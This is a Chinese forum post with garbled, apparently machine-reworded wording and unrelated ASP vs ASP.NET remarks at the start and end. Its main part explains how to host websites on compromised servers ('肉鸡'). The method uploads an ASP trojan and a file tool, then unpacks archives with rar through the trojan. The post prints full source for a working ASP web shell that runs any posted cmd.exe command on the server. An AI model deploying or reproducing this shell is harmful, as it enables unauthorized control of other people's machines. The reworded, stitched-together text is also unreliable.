|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
ASP.NET和ASP的比较,技术上比较已经没什么可说的了.新一代在大部分程度来说当然是比旧一代好了.关键看你对所做软件的理解了.因人而定.会写的话也可能比ASP.NET写得更有效率和更方便重用木马|紧缩 我想人人都有一些开了80端口的肉鸡吧,假如是国际的出于平安就不要往下看了,假如不无妨往下看一下,小弟献丑了,以求举一反三.
在肉鸡上放网站最贫苦的大概就是更新和上传大批的文件了,终端服务明白天简单被发明,本人开个ftp又不宁神.本人在网上转了一圈发明经由过程分离无组件上传和ASP木马能够轻松完成.
asp木马人人都很熟习,不过就是一个cmd,有甚么感化啊,你别急,听我渐渐说嘛.全体思绪就是先经由过程ftp,139,大概winshell上传一个无组件asp程序.我选择了化境的Webedit(实在这个已不是一个纯真的无组件上传的工具了,经由过程它还能够修正,删除文件/目次,能够用来更新页面喔,作起来告白了,我跟他没亲戚啊,闪过一个flyingbottle..持续)和一个asp木马(假如,其实懒得找.最初带着源码,粘贴另存为asp文件便可),记着可都要在肉鸡的web目次喔.实在年夜多的成绩webedit都能够办理,不外假如有良多文件一个一个上传可就贫苦了,怎样办?这下asp木马用上了.找一个rar.exe(一切装过了winrar的目次都有,说不定肉鸡上已安好了,假如是其余命令行的解紧缩工具也能够喔)把它拷到%SystemRoot%system32下.上传.zip大概.rar文件到该肉鸡的web目次.在扫瞄器地点栏里翻开asp木马(临时称之为trojan.asp),在text文本框里输出rar-xsource.rarpath解紧缩乐成,V,且慢怎样失掉web目次的相对路径(path)呢?我用的是用土办法,修正trojan.asp到场一行转换假造目次成相对路径并输入的语句<%=server.mappath(".")%>,"."能够随便改成任何的绝对假造目次.
只是供应一个思绪,假如哪一个牛人可写一个asp的解紧缩那更好喽,不外?谁会呢,我不会,你会吗?至于怎样埋没假造目次,撑持简体中文显现等就不是该篇的会商之列了,老话,平安第一,一样平常放个小的论坛或谈天室就能够了,假如真放个团体主页,还把本人的接洽地点,德律风号码也留给人家就不太好了.ps.junesun倡议间接作成自解压,不知会不会弹出对话框。
- <%@Language=VBScript%><% DimoScript DimoScriptNet DimoFileSys,oFile DimszCMD,szTempFile OnErrorResumeNext < --createtheCOMobjectsthatwewillbeusing-- SetoScript=Server.createObject("WSCRIPT.SHELL") SetoScriptNet=Server.createObject("WSCRIPT.netWORK") SetoFileSys=Server.createObject("Scripting.FileSystemObject")< --checkforacommandthatwehaveposted-- szCMD=Request.form(".CMD") If(szCMD<>"")Then< --Useapoormanspipe...atempfile-- szTempFile="C:"&oFileSys.GetTempName() CalloScript.Run("cmd.exe/c"&szCMD&">"&szTempFile,0,True) SetoFile=oFileSys.OpenTextFile(szTempFile,1,False,0)< EndIf<%><HTML><BODY> <formaction="<%=Request.ServerVariables("URL")%>"method="POST"> <inputtype=textname=".CMD"size=45value="<%=szCMD%>"> <inputtype=submitvalue="Run"> </form><PRE>< <% If(IsObject(oFile))Then --Readtheoutputfromourcommandandremovethetempfile-- OnErrorResumeNext Response.WriteServer.HTMLEncode(oFile.ReadAll) oFile.Close CalloFileSys.deleteFile(szTempFile,True) EndIf %></BODY></HTML>
复制代码 国内有些大的CRM厂商的ASP就写得不错.无论是概念还是它里面用JAVASCRIPT的能力.并不是说现在的程序员用了ASP.NET来写程序就可以说自己高档了 |
|